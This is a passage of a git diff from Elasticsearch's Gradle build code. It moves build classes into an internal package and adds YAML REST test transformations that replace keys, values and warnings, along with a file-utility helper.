buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/feature/FeatureInjector.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/FeatureInjector.java index a3b6fc24bdbb0..cebe04ab5817a 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/feature/FeatureInjector.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/feature/FeatureInjector.java @@ -6,15 +6,15 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.feature; +package org.elasticsearch.gradle.internal.test.rest.transform.feature; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.JsonNodeFactory; import com.fasterxml.jackson.databind.node.ObjectNode; import com.fasterxml.jackson.databind.node.TextNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformGlobalSetup; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformGlobalTeardown; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformGlobalSetup; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformGlobalTeardown; import org.gradle.api.tasks.Internal; import javax.annotation.Nullable; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/headers/InjectHeaders.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/headers/InjectHeaders.java similarity index 85% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/headers/InjectHeaders.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/headers/InjectHeaders.java index 38e094c6a989c..27c54a5426cbd 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/headers/InjectHeaders.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/headers/InjectHeaders.java @@ -6,14 +6,14 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.headers; +package org.elasticsearch.gradle.internal.test.rest.transform.headers; import com.fasterxml.jackson.databind.node.JsonNodeFactory; import com.fasterxml.jackson.databind.node.ObjectNode; import com.fasterxml.jackson.databind.node.TextNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransform; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformByParentObject; -import org.elasticsearch.gradle.test.rest.transform.feature.FeatureInjector; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransform; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.FeatureInjector; import org.gradle.api.tasks.Input; import org.gradle.api.tasks.Internal; @@ -56,6 +56,7 @@ public String getKeyToFind() { } @Override + @Internal public String getSkipFeatureName() { return "headers"; } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLength.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLength.java new file mode 100644 index 0000000000000..9b871cbad03a3 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/length/ReplaceKeyInLength.java @@ -0,0 +1,39 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.length; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.ReplaceByKey; +import org.gradle.api.tasks.Internal; + +/** + * A transformation to replace the key in a length assertion. + * For example, change from "length":{"index._type": 1} to "length":{"index._doc": 1} + */ +public class ReplaceKeyInLength extends ReplaceByKey { + + public ReplaceKeyInLength(String replaceKey, String newKeyName, String testName) { + super(replaceKey, newKeyName, null, testName); + } + + @Override + @Internal + public String getKeyToFind() { + return "length"; + } + + @Override + public void transformTest(ObjectNode lengthParent) { + ObjectNode lengthNode = (ObjectNode) lengthParent.get(getKeyToFind()); + JsonNode previousValue = lengthNode.get(requiredChildKey()); + lengthNode.remove(requiredChildKey()); + lengthNode.set(getNewChildKey(), previousValue); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatch.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatch.java similarity index 88% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatch.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatch.java index dc17e7dbd9564..cb2c20a96fb2e 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/AddMatch.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/AddMatch.java @@ -6,15 +6,16 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.match; +package org.elasticsearch.gradle.internal.test.rest.transform.match; import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.node.ArrayNode; import com.fasterxml.jackson.databind.node.JsonNodeFactory; import com.fasterxml.jackson.databind.node.ObjectNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestContext; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformByParentArray; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestContext; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentArray; import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; import java.util.Objects; @@ -48,6 +49,7 @@ public void transformTest(ArrayNode matchParent) { } @Override + @Internal public String getKeyOfArrayToFind() { // match objects are always in the array that is the direct child of the test name, i.e. // "my test name" : [ {"do" : ... }, { "match" : .... }] diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatch.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatch.java similarity index 85% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatch.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatch.java index aca4d151b0eb3..79292860f4153 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/rest/transform/match/RemoveMatch.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/RemoveMatch.java @@ -6,12 +6,13 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test.rest.transform.match; +package org.elasticsearch.gradle.internal.test.rest.transform.match; import com.fasterxml.jackson.databind.node.ObjectNode; -import org.elasticsearch.gradle.test.rest.transform.RestTestContext; -import org.elasticsearch.gradle.test.rest.transform.RestTestTransformByParentObject; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestContext; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; import org.gradle.api.tasks.Optional; /** @@ -33,6 +34,7 @@ public RemoveMatch(String removeKey, String testName) { } @Override + @Internal public String getKeyToFind() { return "match"; } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatch.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatch.java new file mode 100644 index 0000000000000..a5eee30d54181 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceKeyInMatch.java @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.match; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.ReplaceByKey; +import org.gradle.api.tasks.Internal; + +/** + * A transformation to replace the key in a match. For example, change from "match":{"index._type": "foo"} to "match":{"index._doc": "foo"} + */ +public class ReplaceKeyInMatch extends ReplaceByKey { + + public ReplaceKeyInMatch(String replaceKey, String newKeyName, String testName) { + super(replaceKey, newKeyName, null, testName); + } + + @Override + @Internal + public String getKeyToFind() { + return "match"; + } + + @Override + public void transformTest(ObjectNode matchParent) { + ObjectNode matchNode = (ObjectNode) matchParent.get(getKeyToFind()); + JsonNode previousValue = matchNode.get(requiredChildKey()); + matchNode.remove(requiredChildKey()); + matchNode.set(getNewChildKey(), previousValue); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatch.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatch.java new file mode 100644 index 0000000000000..d44d40e1c01fc --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/match/ReplaceValueInMatch.java @@ -0,0 +1,41 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.match; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.ReplaceByKey; +import org.gradle.api.tasks.Internal; + +/** + * A transformation to replace the value of a match. For example, change from "match":{"_type": "foo"} to "match":{"_type": "bar"} + */ +public class ReplaceValueInMatch extends ReplaceByKey { + + public ReplaceValueInMatch(String replaceKey, JsonNode replacementNode) { + this(replaceKey, replacementNode, null); + } + + public ReplaceValueInMatch(String replaceKey, JsonNode replacementNode, String testName) { + super(replaceKey, replaceKey, replacementNode, testName); + } + + @Override + @Internal + public String getKeyToFind() { + return "match"; + } + + @Override + public void transformTest(ObjectNode matchParent) { + ObjectNode matchNode = (ObjectNode) matchParent.get(getKeyToFind()); + matchNode.remove(requiredChildKey()); + matchNode.set(getNewChildKey(), getReplacementNode()); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsFalse.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsFalse.java new file mode 100644 index 0000000000000..859a8232fc833 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsFalse.java @@ -0,0 +1,21 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.text; + +import com.fasterxml.jackson.databind.node.TextNode; + +public class ReplaceIsFalse extends ReplaceTextual { + public ReplaceIsFalse(String valueToBeReplaced, TextNode replacementNode) { + super("is_false", valueToBeReplaced, replacementNode); + } + + public ReplaceIsFalse(String valueToBeReplaced, TextNode replacementNode, String testName) { + super("is_false", valueToBeReplaced, replacementNode, testName); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsTrue.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsTrue.java new file mode 100644 index 0000000000000..0f8c54caa2a20 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceIsTrue.java @@ -0,0 +1,17 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.text; + +import com.fasterxml.jackson.databind.node.TextNode; + +public class ReplaceIsTrue extends ReplaceTextual { + public ReplaceIsTrue(String valueToBeReplaced, TextNode replacementNode) { + super("is_true", valueToBeReplaced, replacementNode); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextual.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextual.java new file mode 100644 index 0000000000000..ecd6b6fa7010d --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/text/ReplaceTextual.java @@ -0,0 +1,85 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.text; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.node.TextNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestContext; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; +import org.gradle.api.tasks.Optional; + +/** + * A transformation to replace the flat textual fields. + */ +class ReplaceTextual implements RestTestTransformByParentObject { + private final String keyToReplaceName; + private final String valueToBeReplaced; + private final TextNode replacementNode; + private final String testName; + + ReplaceTextual(String keyToReplaceName, String valueToBeReplaced, TextNode replacementNode) { + this.keyToReplaceName = keyToReplaceName; + this.valueToBeReplaced = valueToBeReplaced; + this.replacementNode = replacementNode; + this.testName = null; + } + + ReplaceTextual(String keyToReplaceName, String valueToBeReplaced, TextNode replacementNode, String testName) { + this.keyToReplaceName = keyToReplaceName; + this.valueToBeReplaced = valueToBeReplaced; + this.replacementNode = replacementNode; + this.testName = testName; + } + + @Override + @Internal + public String getKeyToFind() { + return keyToReplaceName; + } + + @Override + public String requiredChildKey() { + return valueToBeReplaced; + } + + @Override + public boolean shouldApply(RestTestContext testContext) { + return testName == null || testContext.getTestName().equals(testName); + } + + @Override + public void transformTest(ObjectNode matchParent) { + matchParent.set(getKeyToFind(), replacementNode); + } + + @Input + public String getValueToBeReplaced() { + return valueToBeReplaced; + } + + @Input + public JsonNode getReplacementNode() { + return replacementNode; + } + + @Input + @Optional + public String getTestName() { + return testName; + } + + @Override + public boolean matches(JsonNode child) { + return child.asText().equals(requiredChildKey()); + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarnings.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarnings.java new file mode 100644 index 0000000000000..6976ce6cd9443 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectAllowedWarnings.java @@ -0,0 +1,74 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.JsonNodeFactory; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.FeatureInjector; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; + +import java.util.List; + +/** + * A transformation to inject an allowed warning. + */ +public class InjectAllowedWarnings extends FeatureInjector implements RestTestTransformByParentObject { + + private static JsonNodeFactory jsonNodeFactory = JsonNodeFactory.withExactBigDecimals(false); + + private final List allowedWarnings; + private final boolean isRegex; + + /** + * @param allowedWarnings The allowed warnings to inject + */ + public InjectAllowedWarnings(List allowedWarnings) { + this(false, allowedWarnings); + } + + /** + * @param isRegex true if should inject the regex variant of allowed warnings + * @param allowedWarnings The allowed warnings to inject + */ + public InjectAllowedWarnings(boolean isRegex, List allowedWarnings) { + this.isRegex = isRegex; + this.allowedWarnings = allowedWarnings; + } + + @Override + public void transformTest(ObjectNode doNodeParent) { + ObjectNode doNodeValue = (ObjectNode) doNodeParent.get(getKeyToFind()); + ArrayNode arrayWarnings = (ArrayNode) doNodeValue.get(getSkipFeatureName()); + if (arrayWarnings == null) { + arrayWarnings = new ArrayNode(jsonNodeFactory); + doNodeValue.set(getSkipFeatureName(), arrayWarnings); + } + allowedWarnings.forEach(arrayWarnings::add); + } + + @Override + @Internal + public String getKeyToFind() { + return "do"; + } + + @Override + @Input + public String getSkipFeatureName() { + return isRegex ? "allowed_warnings_regex" : "allowed_warnings"; + } + + @Input + public List getAllowedWarnings() { + return allowedWarnings; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarnings.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarnings.java new file mode 100644 index 0000000000000..a3ee65cd8a628 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/InjectWarnings.java @@ -0,0 +1,90 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.JsonNodeFactory; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestContext; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; +import org.elasticsearch.gradle.internal.test.rest.transform.feature.FeatureInjector; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; + +import java.util.List; +import java.util.Objects; + +/** + * A transformation to inject an expected warning for a given test. + */ +public class InjectWarnings extends FeatureInjector implements RestTestTransformByParentObject { + + private static JsonNodeFactory jsonNodeFactory = JsonNodeFactory.withExactBigDecimals(false); + + private final List warnings; + private final String testName; + private final boolean isRegex; + + /** + * @param warnings The warnings to inject + * @param testName The testName to inject + */ + public InjectWarnings(List warnings, String testName) { + this(false, warnings, testName); + } + + /** + * @param isRegex true is should inject the regex variant of warning + * @param warnings The warnings to inject + * @param testName The testName to inject + */ + public InjectWarnings(boolean isRegex, List warnings, String testName) { + this.isRegex = isRegex; + this.warnings = warnings; + this.testName = Objects.requireNonNull(testName, "inject warnings is only supported for named tests"); + } + + @Override + public void transformTest(ObjectNode doNodeParent) { + ObjectNode doNodeValue = (ObjectNode) doNodeParent.get(getKeyToFind()); + ArrayNode arrayWarnings = (ArrayNode) doNodeValue.get(getSkipFeatureName()); + if (arrayWarnings == null) { + arrayWarnings = new ArrayNode(jsonNodeFactory); + doNodeValue.set(getSkipFeatureName(), arrayWarnings); + } + warnings.forEach(arrayWarnings::add); + } + + @Override + @Internal + public String getKeyToFind() { + return "do"; + } + + @Override + @Input + public String getSkipFeatureName() { + return isRegex ? "warnings_regex" : "warnings"; + } + + @Override + public boolean shouldApply(RestTestContext testContext) { + return testName.equals(testContext.getTestName()); + } + + @Input + public List getWarnings() { + return warnings; + } + + @Input + public String getTestName() { + return testName; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarnings.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarnings.java new file mode 100644 index 0000000000000..a1d4e6d206924 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/rest/transform/warnings/RemoveWarnings.java @@ -0,0 +1,69 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.test.rest.transform.warnings; + +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.elasticsearch.gradle.internal.test.rest.transform.RestTestTransformByParentObject; +import org.gradle.api.tasks.Input; +import org.gradle.api.tasks.Internal; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +/** + * A transformation to to remove any warnings that match exactly. + * If this removes all of the warnings, this will not remove the feature from the setup and/or teardown and will leave behind an empty array + * While it would be more technically correct to do so, the effort/complexity does not warrant it, since for the expected usage it makes + * no difference. + */ + +public class RemoveWarnings implements RestTestTransformByParentObject { + + private final Set warnings; + + /** + * @param warnings The allowed warnings to inject + */ + public RemoveWarnings(Set warnings) { + this.warnings = warnings; + } + + @Override + public void transformTest(ObjectNode doNodeParent) { + ObjectNode doNodeValue = (ObjectNode) doNodeParent.get(getKeyToFind()); + ArrayNode arrayWarnings = (ArrayNode) doNodeValue.get("warnings"); + if (arrayWarnings == null) { + return; + } + + List keepWarnings = new ArrayList<>(); + arrayWarnings.elements().forEachRemaining(warning -> { + String warningValue = warning.textValue(); + if (warnings.contains(warningValue) == false) { + keepWarnings.add(warningValue); + } + + }); + arrayWarnings.removeAll(); + keepWarnings.forEach(arrayWarnings::add); + } + + @Override + @Internal + public String getKeyToFind() { + return "do"; + } + + @Input + public Set getWarnings() { + return warnings; + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/DockerComposeThrottle.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/DockerComposeThrottle.java similarity index 90% rename from buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/DockerComposeThrottle.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/DockerComposeThrottle.java index 1bb4708bdcef6..2f56ebf8bfb74 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/DockerComposeThrottle.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/DockerComposeThrottle.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.testfixtures; +package org.elasticsearch.gradle.internal.testfixtures; import org.gradle.api.services.BuildService; import org.gradle.api.services.BuildServiceParameters; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixtureExtension.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixtureExtension.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixtureExtension.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixtureExtension.java index 7c55fc5b7a2c0..2bcfb7c76d5cd 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixtureExtension.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixtureExtension.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.testfixtures; +package org.elasticsearch.gradle.internal.testfixtures; import org.gradle.api.GradleException; import org.gradle.api.NamedDomainObjectContainer; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixturesPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixturesPlugin.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixturesPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixturesPlugin.java index a7d778520963b..8a1c758706100 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/testfixtures/TestFixturesPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/testfixtures/TestFixturesPlugin.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.testfixtures; +package org.elasticsearch.gradle.internal.testfixtures; import com.avast.gradle.dockercompose.ComposeExtension; import com.avast.gradle.dockercompose.DockerComposePlugin; @@ -13,10 +13,10 @@ import com.avast.gradle.dockercompose.tasks.ComposeDown; import com.avast.gradle.dockercompose.tasks.ComposePull; import com.avast.gradle.dockercompose.tasks.ComposeUp; -import org.elasticsearch.gradle.SystemPropertyCommandLineArgumentProvider; -import org.elasticsearch.gradle.docker.DockerSupportPlugin; -import org.elasticsearch.gradle.docker.DockerSupportService; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.test.SystemPropertyCommandLineArgumentProvider; +import org.elasticsearch.gradle.internal.docker.DockerSupportPlugin; +import org.elasticsearch.gradle.internal.docker.DockerSupportService; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.elasticsearch.gradle.internal.precommit.TestingConventionsTasks; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Action; @@ -135,9 +135,9 @@ public void apply(Project project) { // Skip docker compose tasks if it is unavailable maybeSkipTasks(tasks, dockerSupport, Test.class); - maybeSkipTasks(tasks, dockerSupport, getTaskClass("org.elasticsearch.gradle.test.RestIntegTestTask")); + maybeSkipTasks(tasks, dockerSupport, getTaskClass("org.elasticsearch.gradle.internal.test.RestIntegTestTask")); maybeSkipTasks(tasks, dockerSupport, TestingConventionsTasks.class); - maybeSkipTasks(tasks, dockerSupport, getTaskClass("org.elasticsearch.gradle.test.AntFixture")); + maybeSkipTasks(tasks, dockerSupport, getTaskClass("org.elasticsearch.gradle.internal.test.AntFixture")); maybeSkipTasks(tasks, dockerSupport, ComposeUp.class); maybeSkipTasks(tasks, dockerSupport, ComposePull.class); maybeSkipTasks(tasks, dockerSupport, ComposeDown.class); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/FileUtils.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/FileUtils.java new file mode 100644 index 0000000000000..b70cbf634de6f --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/FileUtils.java @@ -0,0 +1,92 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.util; + +import org.gradle.api.UncheckedIOException; + +import java.io.File; +import java.io.IOException; +import java.util.Collections; +import java.util.LinkedList; +import java.util.List; + +public final class FileUtils { + + /** + * Like {@link java.io.File#mkdirs()}, except throws an informative error if a dir cannot be created. + * + * @param dir The dir to create, including any non existent parent dirs. + */ + public static void mkdirs(File dir) { + dir = dir.getAbsoluteFile(); + if (dir.isDirectory()) { + return; + } + + if (dir.exists() && dir.isDirectory() == false) { + throw new UncheckedIOException(String.format("Cannot create directory '%s' as it already exists, but is not a directory", dir)); + } + + List toCreate = new LinkedList(); + File parent = dir.getParentFile(); + while (parent.exists() == false) { + toCreate.add(parent); + parent = parent.getParentFile(); + } + Collections.reverse(toCreate); + for (File parentDirToCreate : toCreate) { + if (parentDirToCreate.isDirectory()) { + continue; + } + File parentDirToCreateParent = parentDirToCreate.getParentFile(); + if (parentDirToCreateParent.isDirectory() == false) { + throw new UncheckedIOException( + String.format( + "Cannot create parent directory '%s' when creating directory '%s' as '%s' is not a directory", + parentDirToCreate, + dir, + parentDirToCreateParent + ) + ); + } + if (parentDirToCreate.mkdir() == false && parentDirToCreate.isDirectory() == false) { + throw new UncheckedIOException( + String.format("Failed to create parent directory '%s' when creating directory '%s'", parentDirToCreate, dir) + ); + } + } + if (dir.mkdir() == false && dir.isDirectory() == false) { + throw new UncheckedIOException(String.format("Failed to create directory '%s'", dir)); + } + } + + public static String read(File file, String encoding) { + try { + return org.apache.commons.io.FileUtils.readFileToString(file, encoding); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } + + public static List readLines(File file, String encoding) { + try { + return org.apache.commons.io.FileUtils.readLines(file, encoding); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } + + public static void write(File outputFile, CharSequence content, String encoding) { + try { + org.apache.commons.io.FileUtils.write(outputFile, content, encoding); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/util/JavaUtil.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/JavaUtil.java similarity index 85% rename from buildSrc/src/main/java/org/elasticsearch/gradle/util/JavaUtil.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/JavaUtil.java index 4fae251ff8b84..de9dffa35d3fd 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/util/JavaUtil.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/util/JavaUtil.java @@ -6,10 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.util; +package org.elasticsearch.gradle.internal.util; -import org.elasticsearch.gradle.info.BuildParams; -import 